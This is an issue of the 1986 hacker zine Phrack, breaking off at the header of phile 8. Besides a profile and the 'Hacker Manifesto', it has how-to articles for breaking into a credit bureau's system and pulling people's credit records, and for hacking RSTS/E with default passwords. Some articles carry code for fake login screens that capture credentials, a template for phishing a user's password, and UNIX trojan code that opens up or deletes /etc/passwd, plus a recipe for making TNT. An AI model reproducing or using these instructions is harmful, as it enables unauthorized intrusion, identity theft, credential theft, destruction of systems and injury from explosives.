==Phrack Inc.==

Volume One, Issue 7, Phile 1 of 10

September 25, 1986

Welcome to Phrack VII. I'm glad to be back to be able to create something like this. It was rather hard from the hospital. Anyway, I'd like to take you aside and talk to those of you who have various misconceptions about Phrack Inc. First off, Phrack Inc. isn't written by myself, Knight Lightning, or Cheap Shades. We merely collect the philes and distribute them in a group. The articles within are the sheer responsibility of the author. If you do not like the philes, talk to the author, not any of us, unless it says in the phile that we wrote it, please.

Phrack World News is merely a sub-article of Phrack Inc. and it is written by Knight Lightning. He is to be addressed for all comments about his ever-controversial PWN, and we'd appreciate it if you'd not condemn the whole publication just for a few articles.

Anyone can write for Phrack Inc. now. If you have an article you'd like published or a story for Phrack World News, get in touch with one of us (Knight Lightning, Taran King, and Cheap Shades) and as long as it fits the guidelines, it should make it in. If you have been one of the many ragging on Phrack Inc., please, write a phile and see if you can improve our status with your help. Thanks for your time. Later on.

Taran King
Sysop of Metal Shop Private

Featured in this Phrack Inc.:

==Phrack Inc.==

Volume One, Issue 7, Phile 2 of 10

==Phrack Pro-Phile IV==

Written and Created by Taran King

June 28, 1986

Welcome to Phrack Pro-Phile IV. Phrack Pro-Phile is created to bring info to you, the users, about old or highly important/controversial people. This month, I bring to you one of the most influential users of our times and of days of old...

Scan Man

Scan Man is the sysop of Pirate 80 (P-80), a telcom enthusiasts' bulletin board in Charleston, West Virginia (304).

Personal

```
            Handle: Scan Man
         Call him: Scan Man
      Past handles: None
     Handle origin: Thought it up while writing a scanning program.
     Date of Birth: 8/30/53
Age at current date: 32 years old
            Height: 6'1
            Weight: About 225 lbs.
         Eye color: Green
        Hair Color: Dark Blond to Light Brown
         Computers: 2 TRS Model I's (one of which the BBS is run on), Tandy
                    Model 1000 (IBM Compatible), a 132 Column Dot Matrix, a
                    132 Column Daisy Wheel, a Model 100 Portable, a TRS Color
                    Computer, and a backup 80 Column Dot Matrix Printer.
  Sysop/Co-Sysop of: Pirate 80 (P-80)
```

Scan Man started out in the BBS world about 7 years ago when he first got his modem, a 300 Baud Auto-Answer/Auto-Dial Micro-Connection Modem (made by Micro Peripheral Corp.) with tape input and output. Pirate 80 went up 4 years ago this Halloween, which consisted of a TRS Model 1, 3 40 track, single sided, double density floppies, and a 300 baud modem (which held up until 6 months ago).

At the time of arising, the board was put up for interests in phreaking, hacking, as well as pirating. Within the first 6 months to now, Scan Man had gone through 6 BBS programs, and is quite satisfied with the current one.

First, he started with a pirated version of TBBS 1.2, then an upgrade to 1.3, pirated again (occurred and at the same time a hard drive was added after a number of disk drive changes and modifications). Scan Man, through his BBS (which was in the first 5 all phreak/hack BBS's to ever go up, and is the oldest phreak board in the country), has met or talked to what he considers "anybody who is anybody".

At 11 years old, he found a few old phones, took them apart, and got them working, which was when his interest in telecom arose. He was led into the phreak world when he became aware that he could phreak (articles he read such as blue box articles). At the time, BBS's and personal computers did not exist at this time.

The first board he called that involved phreaking was the old Pirate's Harbor. An anonymous message posted there had a few alternate long distance service codes posted. He was very excited that he had stumbled upon this thrill and he spent the first year or so calling around finding exactly what everyone was

into and from there forward he started manufacturing various devices with The Researcher. They worked together and learned together.

Because so much information posted was inaccurate, they did this to make it accurate and found out what was the real stories. The more memorable phreak boards that he was on included Plovernet, (and all pre-Plovernet), L.O.D., AT&T Phone Center, Pirates of Puget Sound, as well as a few others which he couldn't remember offhand because it was so long ago.

Scan Man's works as a computer consultant (systems analyst). He checks security as well as enhancements, improvements, and debugging. He's been doing this for about a year now.

Scan Man's hack/phreak interests are unknown to his employers. He has attended various things including sneaking into a seminar on the DMS-250 Digital Switching System, and before that, TelePub'86, and he's sneaked into other various telcom/computer security seminars. He starts one project at a time and does things step by step. He's very concentrated in his projects.

Scan Man frowns upon groups and says, "If you're any damn good at all, you're going to get a reputation whether you like it or not."

- -

Interests: Telecommunications (modeming, phreaking, hacking, satellite scanning), white water rafting, snow skiing, dancing (he used to be a roller skating dance/disco instructor), and boating.

Scan Man's Favorite Things

Foods: Junk food, or an expensive restaurant once a week or so.
Movies: He's a movie buff, and goes regularly, by himself even.
Animals: He's an animal lover.
Pyrotechnics: They manufacture various fireworks as a hobby.

Most Memorable Experiences

The Newsweek Incident with Richard Sandza.
Last year's New Years' Phreak Party.

Some People to Mention

The Researcher (for helping him out in starting out with phreak/hacking.)
The Coco Wizard (helped a lot with the BBS and the hardware on the computer.)
King Blotto, Mr. Gucci, and The Scanner (people he could do without.)

- -

Scan Man dislikes the bickering and fighting between the phone phreaks of modern day because they're just fighting to climb the social ladder. He dislikes the current phone phreaks because they're not in it to learn, and are only in it to gain a big reputation. The old phreaks were those that wanted to be there because they were a student of the network and had a true desire to learn. It's become an ego/power-trip of the modern teenage America. They're only in it to impress other people, and write philes just to get the reputation, rather than to write it for the information in it, and collect them only to say their collection is sizable. He feels that credit cards are voodoo because it seems to be what people and sysops get busted for the most.

- -

I hope you enjoyed this phile, look forward to more Phrack Pro-Philes coming in the near future. And now for the regularly taken poll from all interviewees.

Of the general population of phreaks you have met, would you consider most phreaks, if any, to be computer geeks? 90% of the phreaks, yes. 10% or less are in it to learn. He respects that small percentage. Thank you for your time, Scan Man.

Taran King
Sysop of Metal Shop Private

==Phrack Inc.==

Volume One, Issue 7, Phile 3 of 10

=-=
The following was written shortly after my arrest...

\/\The Conscience of a Hacker/\/

by

+++The Mentor+++

Written on January 8, 1986
=-=

Another one got caught today, it's all over the papers. "Teenager Arrested in Computer Crime Scandal", "Hacker Arrested after Bank Tampering"...
Damn kids. They're all alike.

But did you, in your three-piece psychology and 1950's technobrain, ever take a look behind the eyes of the hacker? Did you ever wonder what made him tick, what forces shaped him, what may have molded him?
I am a hacker, enter my world...
Mine is a world that begins with school... I'm smarter than most of the other kids, this crap they teach us bores me...
Damn underachiever. They're all alike.

I'm in junior high or high school. I've listened to teachers explain for the fifteenth time how to reduce a fraction. I understand it. "No, Ms. Smith, I didn't show my work. I did it in my head..."
Damn kid. Probably copied it. They're all alike.

I made a discovery today. I found a computer. Wait a second, this is cool. It does what I want it to. If it makes a mistake, it's because I screwed it up. Not because it doesn't like me...
Or feels threatened by me...
Or thinks I'm a smart ass...
Or doesn't like teaching and shouldn't be here...
Damn kid. All he does is play games. They're all alike.

And then it happened... a door opened to a world... rushing through the phone line like heroin through an addict's veins, an electronic pulse is sent out, a refuge from the day-to-day incompetencies is sought... a board is found.
"This is it... this is where I belong..."
I know everyone here... even if I've never met them, never talked to them, may never hear from them again... I know you all...
Damn kid. Tying up the phone line again. They're all alike...

You bet your ass we're all alike... we've been spoon-fed baby food at school when we hungered for steak... the bits of meat that you did let slip through were pre-chewed and tasteless. We've been dominated by sadists, or ignored by the apathetic. The few that had something to teach found us willing pupils, but those few are like drops of water in the desert.

This is our world now... the world of the electron and the switch, the beauty of the baud. We make use of a service already existing without paying for what could be dirt-cheap if it wasn't run by profiteering gluttons, and you call us criminals. We explore... and you call us criminals. We seek after knowledge... and you call us criminals. We exist without skin color, without nationality, without religious bias... and you call us criminals. You build atomic bombs, you wage wars, you murder, cheat, and lie to us and try to make us believe it's for our own good, yet we're the criminals.

Yes, I am a criminal. My crime is that of curiosity. My crime is that of judging people by what they say and think, not what they look like. My crime is that of outsmarting you, something that you will never forgive me

for.

I am a hacker, and this is my manifesto. You may stop this individual, but you can’t stop us all... after all, we’re all alike.

+++The Mentor+++

==Phrack Inc.==

Volume One, Issue 7, Phile 4 of 10

-=:><:=--=:><:=--=:><:=--=:><:=--=:>\|/<:=--=:><:=--=:><:=--=:><:=--=:><:=-

-=:> Hacking The <:=-
-=:> Chilton Corporation Credimatic <:=-

-=:] By: Ryche [:=-

-=:} Written on June 24, 1986 {:=-

-=:><:=--=:><:=--=:><:=--=:><:=--=:>\|/<:=--=:><:=--=:><:=--=:><:=--=:><:=-

This is the complete version of Hacking Chilton. There is another one that is floating around that's not as complete. If you see it anywhere please ask the sysop to kill it and put this one in its place.

The Chilton Corp. is a major credit firm located on Greenville Ave. in Dallas, Texas. This is where a lot of the companies that you apply for credit, check you and your neighbors credit records. Unlike other credit systems such as TRW and CBI, this one contains the records for people with good credit and doesn't wipe out some of the numbers of the cards themselves. All information is complete and includes full numbers as well as the bank that issued it, limit, payments due, payments late, their SSN, current & former address, and also their current and former employer. All you need to know to access this info is the full name, and address of your "victim".

Now, how to hack the Chilton. Well, the Chilton system is located in Dallas and the direct dialup (300/1200) is 214-783-6868. Be in half duplex and hit return about 10 times until it starts to echo your returns. There is a command to connect with E-mail that you can put in before echoing return. By echoing the return key your signifying that you want the credit system. I wont go into E-mail since there is nothing of special interest there in the first place. If you are interested in it, try variations of /x** (x=A,B,C,etc.). All input is in upper case mind you. Back to the credit part, once you echo return, you can type: DTS Ctrl-s if you really need to see the date and time or you can simply start hacking. By this, I mean:
SIP/4char. Ctrl-s

This is the Sign In Password command followed by a 4 character alpha numeric password, all caps as I said before. You can safely attempt this twice without anyone knowing your there. After the third failed attempt the company printer activates itself by printing "Login Attempt Failed". This is not a wise thing to have printed out while your trying to hack into it since there is always someone there. If you try twice and fail, hit Ctrl-d, call back, echo, and try again. You can keep doing this as long as you wish since there is no other monitoring device than that printer I mentioned before. Since this only activates when you fail to login correct you can safely say there is little if no danger of your discovery. I would suggest going through an extender though since Chilton does have access to tracing equipment. About the passwords, as far as I know, there are 3 different classes of them with varying privileges, these are:

1-User/Employee
2-Permanent/Secretary
3-Input Output

The first one is just to look and pull credit reports. These passwords go dead every Sunday night at 11:00pm or so. The new ones are good from Monday to Sunday night. Even though your pass is good for one week, there are limited times you can use this. The credit system is only accessible at these times: Mon-Fri: 8:00am to 11:00pm, Sat: 8:00am to 9:00pm, and Sun: 8:00am to 6:00pm
The second class is the same as the first except that these only change whenever someone leaves the company. These were originally supposed to be set up for the secretaries so that if they ever need quick access they could w/o having to go down to the Credit Dept. every week for a new password. The third is one I have never gotten..yet. It has the ability to alter a persons

credit reports for one month. At the first of the month the system updates all reports and changes your alterations to the credit reports. Doing this though would warrant going through a diverter since your fucking with someone's life now. Once you have hacked a pass and it accepts the entry it will display the warning:

****WARNING! UNAUTHORIZED ACCESS OF THIS SYSTEM IS A FEDERAL CRIME!****

Or something along the same lines. After this you should be left to input something. This is where you enter either In House Mode, System Mode, or Reporting Mode. In House Mode will give you the reports for the people living in Dallas/Fort Worth and surrounding counties. System Mode is good for surrounding states that include:

Massachusets, Illinois, Louisiana, Missouri, Arkansas, New Mexico, Colorado, Arizona, some of New Jersey, and a few others I cant remember. There are 11 states it covers.

Reporting is a mode used for getting transcripts of a persons reports and would require you to input a companies authorization number. So for this file lets stick to In House and System. Get your victims stats ready and enter a mode:

In House: I/NH Ctrl-s (Dallas/Ft. Worth 214)
System: I/S Ctrl-s (All other NPA's)

After that its time to pull records. Type in:

I/N-Last Name/F-First Name/L-Street Name/Z-Zip Code/** Ctrl-s

If you don't know his street name, use 'A' and it will go into a global search routine until it finds name that match or are at least 80% similar to the one you used. Although the Zip Code is not needed and can be left out, it does narrow the search field down considerably. Once it finds the name, it will show you his Name, SSN, Current Address, Employer, and former ones if there are any. Right after his name you will see a ID number. Sorta like: 100-xxxxx Write this down as it is your key to getting his reports. After it finishes listing what it has on him its time to see the full story. Type:

N/100-xxxxx/M/D Ctrl-s

What it will display now is his whole credit history. When you first pulled his ID number you might have seen he had two names but with a variance like middle name or a misspelled address. Pull both of them as they are just an error in whoever put the reports in. I would suggest capturing this so that you can refer back to it w/o having to access the system every time.

There is another way to get into Chilton through Tymnet but I have no idea of the address for this and its a waste of time. If you happen to get the name and address of an employee of the company forget the idea of pulling his stats, Chilton doesnt allow employee records to be in there. One very good point made not too long ago is the prospect of going through the phone book and picking names at random.

Although Credit Card numbers are displayed credit card fraud is thwarted by the small fact that it does not show expiration dates. No company making an actual inquisition on a person would need that information and to prevent the fraudulent or misuse of the information they were left out. There is an interesting note that at one time in the companies history they did have a small that signified a drug record. This was taken out as it wasn't pertinent to the computers purpose and was only there because Borg Warner, the company that owns Chilton wanted to pry into peoples lives. The computer has a 10 line rotary, so unless there are 11 people using it at the same time your chances of getting a busy signal are almost if not next to nil.

Disclaimer:

The information provided in this file is a tutorial and is provided for the purpose of teaching others about this system and how it operates. It is not

provided to promote the fraudulent use of credit cards or any other such action(s) that could be considered illegal or immoral. Myself, and the editors/publishers/distributors of this newsletter are in no way responsible for the actions or intentions of the reader(s) of this file.

<>>>> Ryche <<<<>

==Phrack Inc.==

Volume One, Issue 7, Phile 5 of 10

```
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$                                       $
$         PROGRAMMING RSTS/E            $
$          File1: Passwords             $
$                                       $
$           by:  The Seker              $
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$     Written  (c)  May 22, 1986        $
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
```

PREFACE:

This document is first in a series of ongoing files about using the RSTS/E operating system. All the files are based on version 8.0 as it is almost fully compatible with the previous releases. If the need arises I have made sure to note differences between V8.x and V9.x.

Credit goes to High Evolutionary for urging me to write these files; to Night Stalker for sharing info; and to all other RSTS hackers that have contributed in some way or another.

HISTORY:

The RSTS/E (Resource System Time Sharing /Environment) operating system was developed for the PDP/11 series of minicomputers created by DEC. (Digital Equipment Corporation) It was developed with ease of use for the user (and hacker) in mind. Because of this, there have been a lot of overlooked errors leaving the system with quite weak security. In later versions, especially the 9.x series password security has been greatly improved and is more secure, but still has plenty of bugs for us to breach.

LOGGING ON:

Briefly.. locate a valid number and connect. Hit c/r (carriage return) a few times or type:

```
 HELLO
```

The system should identify itself displaying to you who owns it, what version they're running under, the date, and the time. Then it will prompt for an account number and a password.

Accounts are in a PPN (Project Program Number) format. This is actually two numbers each between 0 and 254 separated by a comma or a slash. (eg. 3,45 or 27/248) Privileged accounts which you should hopefully be striving for all start with a 1. So start hacking 1,x accounts.

Passwords are 1-6 characters long. They are only alphanumeric so you don't have to worry about all that other shit being included. On V9.x systems passwords may be up to 8 characters if the operator has changed the default length. But this rarely ever happens as most ops are too lazy.

Common passwords are:

```
 SYSLIB
 SYSGEN
 SYSCON
 SYSMGR
 SYSOPR
 SYSTEM
 OPRATR
 RSTS
 DECNET
 GAMES
 YYYYYY
 XXXXXX
 XYXYXY
 DATA
 RICH
 XXX
```

AAA

Many of those have been rumored to be defaults. But actually I think the true default (if there is one!) password is:

RSTSE

Also, accounts that have a password of:

??????

are only accessible by operators.

Remember to try names, cars, objects, the name of the company (in different variations), etc. Cause most people generally pick passwords that have some relation to their private life.. Take a little time and guess...

YOUR IN!

Once you have succeeded in hacking out a valid password, whether it be privileged or not, I suggest you find out who is logged onto the system. You can do this simply by typing:

SY

This will tell you everyone logged on, what they are doing at the moment, their job number, whether they are attached or detached, and a hell of a lot of other crap. What you are looking for is someone else logged in under the same account you are. If you find another user in the same account you hacked, log off and call back later. This will prolong the life of your account and prevent a rise in suspicion by the sysops. Remember, every system keeps a log of what you do, and if two people are logged in under the same account many times the sysops will delete or change the password to that account.

If everything checks out okay, you're free to do as you please. To list the files in your allotted space type:

DIR

or to see all the files on the system type:

DIR (*,*)

NOTE: [ ] may be used in place of ( ) when dealing with files.

* acts as a wildcard on the RSTS system and can be used in place of account numbers when searching for specific files. Speaking of searching for files; to run a file type:

RUN filename.filetype

where filename = the file you wish to run, and filetype = the extension.

Experiment! Try what you will. If you ever need help just type:

HELP

Read the files contained within help. They are very detailed and I guarantee can help you with what ever it is you need done.

One other thing, a few useful control characters are:

^C Breaks out of whatever your doing
^R Repeats last line typed
^X If ^C doesn't work, this may
^O Use to stop the flow of text without aborting the function in process
^T Tells status and runtime of terminal
^U Deletes line presently being typed in
^H Deletes characters
^S Transmission off
^Q Transmission on

GAINING PRIVILEGES:

If you weren't able to hack out a privileged account don't panic. There are still a few other ways for you to attain sysop status. These methods may not always work, but they are worth a try.

]SYSTEM LOG[

On many RSTS/E systems before V9.0 there is one account dedicated to keeping the system log; everything you and everyone else does. I have found this account many times to be 1,101, 1,2, or 0,1 but you may want to do a directory find to make sure. Type:

DIR (*,*)OPSER.LOG

or if nothing appears from that type:

DIR (*,*)SYSLOG.*

or

DIR (*,*)

Look for a file similar in name to that and mark down the account it appears in. Now that you know which account the system log resides in logoff.

```
 BYE
```
Then sign back on using the account in which the file was in. For password try one of the following:
```
 OPSER
 OPSLOG
 LOG
 OPS
 OOPS
 OPRATR
 SYSLOG
 SYSTEM
```
These are common passwords to that account. If none of these work your out of luck unless you can think of some other password that may be valid.

]SYSTEM BUGS[

When operating systems as complex as RSTS/E are created there will undoubtedly be a few bugs in the operation or security. (Sometimes I am not sure if these are intentional or not.) These can often be taken advantage of. One that I know of is RPGDMP.TSK. To use this type:
```
 RUN (1,2)RPGDMP
```
It will ask for a filename, and an output device. Give it any filename on the system (I suggest $MONEY, $REACT, or $ACCT.SYS) and it will be dumped to the specified device. (db1:, screen, etc).

Credit for this goes to The Marauder of LOD for finding, exposing and sharing this bug with all.

If you find any other bugs similar to this, I would appreciate your getting in touch with and letting me know.

GETTING PASSWORDS:

Now that you've hopefully gotten yourself priv's we can get on with these files. Getting many passwords is a safety procedure, kind of like making a backup copy of a program. There are a number of ways to get yourself passwords, the easiest is by using privileges, but we will discuss that in a later file. The methods I am going to explain are the decoy and a trick I like to use, which I call the mail method.

]DECOY[

The decoy, commonly called a Trojan Horse, (which is something completely different) is a program which emulates login.bac. When the unsuspecting user enters his account and password you have your program store it into a file that you can retrieve later. Here is a short program I've written that will preform this task:

type NEW and it will prompt for a filename. Enter something not to obvious.

```
   1 ! RSTSE Decoy
   2 ! Written by The Seker (c) 1986 TOK!
   5 extend
  10 print:print
  20 &"RSTS V8.0-07 TOK Communications Ltd.  Job 7  <Dial-up> KB41
 ";date$(0);"  ";time$(0)
  30 print
  40 &"User: ";
  50 open "KB:" for input as file 1
  60 on error goto 300
  70 input 1,proj%,prog%
  80 z$=sys(chr$(3%))
  90 &"Password: ";
 100 on error goto 300
 110 input 1,pass$
 120 print:z$=sys(chr$(2%))
 130 close 1
 140 open "SYSLIB.BAC" for output as file 2
 150 print 2,proj%
 160 print
2,prog%
 170 print 2,pass$
 180 close 2
 200 print:print
```

```
 210 off$=sys(chr$(14%)+"bye/f"+chr$(13))
 300 if erl=70 then goto 350
 310 if erl=110 then goto 360
 350 &"Invalid entry - try again":z$=sys(chr$(2%)):try=try+1:if try=5 then goto
200 else resume 30
 360 &"Invalid entry - try again":try=try+1:if try=5 then goto 200 else resume
90
 999 end
```

The program as I said emulates login.bac, then logs the person off after a few tries. Save this program. Then run it. When it starts, just drop the carrier. The next person to call within 15 minutes will get your imitation login.

If you are working on an older system like V7.0 change line 40 to read:

```
 40 &" ";
```

NOTE: This will not work without modifications on releases after V8.7. An improved and updated version of this program will be released as a small file at a later date.

Next time you login and you want to recover the file type:

```
 TYPE SYSLIB.BAC
```

It should print out the account and password. If you set this running each time you plan on hanging up within a few days you'll have yourself a handful of valid accounts.

]MAIL[

To run mail type:

```
 RUN $MAIL
```

The mail method is probably used by many hackers and since I like to use it, I thought I'd tell you what it was.

When you run the program the utility will tell you exactly how to use itself. Assuming you know a little about it anyway we will get on with the file. The object is to send mail to another user and try and convince him/her you are the sysop and are writing him/her to validate their password. Don't try this with a priv'd user! It would result in instant deletion.

Here's basically what you'd type:

Hello. We are contacting each of the users and validating their records to keep our files up to date. If you would cooperate and leave me a response which includes your full name, account number, and password we would appreciate your help.

John Doe
System's Operator
4,11

As you can see the idea is to con a user into believing you are one of the system ops. I would say this method works approximately 70% of the time on most systems since users often times don't associate with sysops. Use a different name if you try this though, as John Doe wouldn't fool anyone. (Be creative) Also the 4,11 is the account you'd like them to leave the response too.

You can try a few variations of this if you like. For example, if the system you're hacking has a chat program:

```
 RUN $TALK
```

You can just talk live time to them. Or if you somehow (like trashing) manage to get a list of all the users and their phone numbers, you can call them up and bullshit them.

NOTE: This document is intended for informational purposes only. The author is in no way responsible for how it is used. Sysops are free to display this at their will as long as no information within is altered and all acknowledgements go to The Seker.

==Phrack Inc.==

Volume One, Issue 7, Phile 6 of 10

```
XxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxX
Xx                                      xX
Xx          American Dynamite           xX
Xx                                      xX
Xx            By The Rocker             xX
Xx                 of                   xX
Xx         Metallibashers Inc.          xX
Xx                                      xX
Xx       for: ==Phrack Inc.==           xX
Xx                                      xX
XxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxX
```

Recipe:

Mix 170 parts tolulene with 100 parts acid. The acid made of 2 parts of 70% nitric and 3 parts of 100% sulfuric. Mix below 30 degrees. Set this down for 30 min. and let it separate. Take the mononitrotolulene and mix 100 part of it with 215 parts of acid. This acid is 1 part pure nitric and 2 parts pure sulfuric. Keep the temperature at 60- 70 degrees while they are slowly mixed. Raise temp to 90-100 and stir for 30 min. The dinitrotoluene is separated and mix 100 parts of this stuff with 225 parts of 20% oleum which is 100% sulfuric with 20% extra dissolved sulfur trioxide, and 65 parts nitric acid. Heat at 95 degrees for 60 min. Then at 120 degrees for 90 min.

Separate the trinitrotoluene and slosh it around in hot water. Purify the powder by soaking it in benzyne.

Presto! American Dynamite!

Thanx to S.A. for the idea! Thanx to Phrack Inc. for just being a sponsor!

Don’t forget to call these systems after you obliterate someone’s house with that T.N.T...

```
=======================================
Speed Demon Elite..........415/522-3074
High Times.................307-362-1736
Metalland South............404-576-5166
Brainstorm Elite...........612-345-2815
Atlantis...................215-844-8836
=======================================
```

Metallizing,
The Rocker/MBI

==========

==Phrack Inc.==

Volume One, Issue 7, Phile 7 of 10

UNIX Trojan Horses

By Shooting Shark of Tiburon Systems / R0DENTZWARE - 6/26/86

Introduction

"UNIX Security" is an oxymoron. It's an easy system to brute-force hack (most UNIX systems don't hang up after x number of login tries, and there are a number of default logins, such as root, bin, sys and uucp). Once you're in the system, you can easily bring it to its knees (see my previous Phrack article, "UNIX Nasty Tricks") or, if you know a little 'C', you can make the system work for you and totally eliminate the security barriers to creating your own logins, reading anybody's files, etcetera. This file will outline such ways by presenting 'C' code that you can implement yourself.

Requirements

You'll need a working account on a UNIX system. It should be a fairly robust version of UNIX (such as 4.2bsd or AT&T System V) running on a real machine (a PDP/11, VAX, Pyramid, etc.) for the best results. If you go to school and have an account on the school system, that will do perfectly.

Notes

This file was inspired an article in the April, '86 issue of BYTE entitled "Making UNIX Secure." In the article, the authors say "We provide this information in a way that, we hope, is interesting and useful yet stops short of being a 'cookbook for crackers.' We have often intentionally omitted details." I am following the general outline of the article, giving explicit examples of the methods they touched on.

An unrelated note: Somewhere there's a dude running around using the handle "Lord British" (not THE Lord British...). This is a message for LB: "Fuck off and die."

Here we go...

Project One: Fishing For Passwords

You can implement this with only a minimal knowledge of UNIX and C. However, you need access to a terminal that many people use - the computer lab at your school, for example.

When you log onto a typical UNIX system, you see something like this:

```
Tiburon Systems 4.2bsd / System V (shark)


login: shark
Password:      (not printed)
```

The program I'm giving you here simulates a logon sequence. You run the program from a terminal and then leave. Some unknowing fool will walk up and enter their login and password. It is written to a file of yours, then "login incorrect" is printed, then the fool is asked to log in again. The second time it's the real login program. This time the person succeeds and they are none the wiser.

On the system, put the following code into a file called 'horse.c'. You will need to modify the first 8 lines to fit your system's appearance.

----- Code Begins Here -----

```
/* this is what a 'C' comment looks like.  You can leave them out. */

/* define's are like macros you can use for configuration. */

define SYSTEM "\n\nTiburon Systems 4.2bsd UNIX (shark)\n\n"

/* The above string should be made to look like the message that your
 * system prints when ready.  Each \n represents a carriage return.
 */

define LOGIN  "login: "

/* The above is the login prompt.  You shouldn't have to change it
 * unless you're running some strange version of UNIX.
 */

define PASSWORD "password:"

/* The above is the password prompt.  You shouldn't have to change
 * it, either.
 */

define WAIT 2

/* The numerical value assigned to WAIT is the delay you get after
 * "password:" and before "login incorrect."  Change it (0 = almost
 * no delay, 5 = LONG delay) so it looks like your system's delay.
 * realism is the key here - we don't want our target to become
 * suspicious.
 */


define INCORRECT "Login incorrect.\n"

/* Change the above so it is what your system says when an incorrect
 * login is given.  You shouldn't have to change it.
 */

define FILENAME "stuff"

/* FILENAME is the name of the file that the hacked passwords will
 * be put into automatically.  'stuff' is a perfectly good name.
 */

/* Don't change the rest of the program unless there is a need to
 * and you know 'C'.
 */

include <curses.h>
include <signal.h>
int stop();

main()
{
char name[10], password[10];
int i;
FILE *fp, *fopen();
signal(SIGINT,stop);
initscr();
printf(SYSTEM);
printf(LOGIN);
```

```
scanf("%[^\n]",name);
getchar();
noecho();
printf(PASSWORD);
scanf("%[^\n]",password);
printf("\n");
getchar();
echo();
sleep(WAIT);


if ( ( fp = fopen(FILENAME,"a") )  != NULL ) {
fprintf(fp,"login %s has password %s\n",name,password);
fclose(fp);
}

printf(INCORRECT);
endwin();
}

stop()
{
endwin();
exit(0);
}
```

----- Source Ends Here -----

OK, as I said, enter the above and configure it so it looks exactly like your system's login sequence. To compile this program called 'horse.c' type the following two lines: (don't type the %'s, they are just a sample prompt)

```
% cc horse.c -lcurses -ltermcap
% mv a.out horse
```

You now have the working object code in a file called 'horse'. Run it, and if it doesn't look like your systems logon sequence, re-edit horse.c and re-compile it. When you're ready to put the program into use, create a new file and call it 'trap' or something. 'trap' should have these two commands:

```
horse                   (this runs your program)
login                   (this runs the real login program)
```

to execute 'trap' type:

```
% source trap           (again, don't type the %)
```

and walk away from your terminal...

After you've run it successfully a few times, check your file called 'stuff' (or whatever you decided to call it). It will look like this:

```
user john has password secret
user mary has password smegma
etc.
```

Copy down these passwords, then delete this file (it can be VERY incriminating if the superuser sees it).

Note - for best results your terminal should be set to time-out after a few minutes of non-use - that way, your horse program doesn't run idle for 14 hours if nobody uses the terminal you ran it on.

The next projects can be run on a remote system, such as the VAX in Michigan you've hacked into, or Dartmouth's UNIX system, or whatever. However, they require a little knowledge of the 'C' language. They're not something for UNIX novices.

Project Two: Reading Anybody's Files

When somebody runs a program, they're the owner of the process created and that program can do anything they would do, such as delete a file in their directory or making a file of theirs available for reading by anybody.

When people save old mail they get on a UNIX system, it's put into a file called mbox in their home directory. This file can be fun to read but is usually impossible for anybody but the file's owner to read. Here is a short program that will unlock (i.e. chmod 777, or let anybody on the system read, write or execute) the mbox file of the person who runs the program:

----- Code Begins Here -----

```
include <pwd.h>

struct passwd *getpwnam(name);
struct passwd *p;
char buf[255];

main()
{
p = getpwnam(getlogin());
sprintf(buf,"%s/%s",p->pw_dir,"mbox");
if ( access(buf,0) > -1 ) {
        sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox");
        system(buf);
        }
}
```

----- Code Ends Here -----

So the question is: How do I get my target to run this program that's in my directory?

If the system you're on has a public-messages type of thing (on 4.xbsd, type 'msgs') you can advertise your program there. Put the above code in another program - find a utility or game program in some magazine like UNIX WORLD and modify it and do the above before it does it's real thing. So if you have a program called tic-tac-toe and you've modified it to unlock the mbox file of the user before it plays tic-tac-toe with him, advertise "I have a new tic-tac-toe program running that you should all try. It's in my directory." or whatever. If you don't have means of telling everybody on the system via a public message, then just send mail to the specific people you want to trap.

If you can't find a real program to modify, just take the above program and add this line between the two '}' lines at the end of the program:

```
printf("Error opening tic-tac-toe data file.  Sorry!\n");
```

when the program runs, it will print the above error message. The user will think "Heh, that dude doesn't know how to write a simple tic-tac-toe program!" but the joke's on him - you can now read his mail.

If there's a specific file in a user's directory that you'd like to read (say it's called "secret") just throw together this general program:

```
main()
{
if ( access("secret",0) > -1 ) system("chmod 777 secret");
}
```

then 'talk' or 'write' to him and act like Joe Loser: "I wrote this program called super_star_wars, will you try it out?"

You can use your imagination. Think of a command you'd like somebody to execute. Then put it inside a system() call in a C program and trick them into running your program!

Here's a very neat way of using the above technique:

Project Three: Become the superuser

Write a program that you can get people to run. Put this line in it somewhere:

```
if ( !strcmp(getlogin(),"root") ) system("whatever you want");
```

This checks to see if the root login is running your program. If he is, you can have him execute any shell command you'd like. Here are some suggestions:

"chmod 666 /etc/passwd"

/etc/passwd is the system's password file. The root owns this file. Normally, everyone can read it (the passwords are encrypted) but only the root can write to it. Take a look at it and see how it's formatted if you don't know already. This command makes it possible for you to now write to the file - i.e. create unlimited accounts for yourself and your friends.

"chmod 666 /etc/group"

By adding yourself to some high-access groups, you can open many doors.

"chmod 666 /usr/lib/uucp/L.sys"

Look for this file on your system if it is on the uucp net. It contains dialups and passwords to other systems on the net, and normally only the uucp administrator can read it. Find out who owns this file and get him to unknowingly execute a program to unlock it for you.

"rm /etc/passwd"

If you can get the root to execute this command, the system's passwd file will be removed and the system will go down and will not come up for some time to come. This is very destructive.

If you are going to go about adding a trojan horse program to the system, there are some rules you should follow. If the hidden purpose is something major (such as unlocking the user's mbox or deleting all of his files or something) this program shouldn't be a program that people will be running a lot (such as a popular computer game) - once people discover that their files are public access the source of the problem will be discovered quite easily. Save this purpose for a 'test' program (such as a game you're in the process of writing) that you ask individual people to run via mail or 'chatting' with them. As I said, this 'test' program can bomb or print a phony error message after completing its task, and you will just tell the person "well, I guess it needs more work", wait until they log off, and then read whatever file of theirs that you've unlocked. If your trojan horse program's

sole purpose is to catch a specific user running it - such as the root or other high-powered user - you can put the code to do so in a program that will be run a lot by various users of the system. Your modification will remain dormant until he runs it.
If you can't find the source to 'star trek' or whatever in C, just learn C and convert something from pascal. It can't hurt to learn C as it's a great language. We've just seen what it can do on a UNIX system. Once you've caught the root (i.e. you can now modify the /etc/passwd file) remove the spurious code from your trojan horse program and you'll never be caught.

That's it...if you have any questions or comments or you just want to bitch at me, call this system:

The Matrix
415/922-2008
101 megs, IBM warezzz, 2400 baud, Phrack sub-board, etc.

Lord British, I *dare* you to call.

(>
==========

==Phrack Inc.==

Volume One, Issue 7, Phile 8 of 10

```
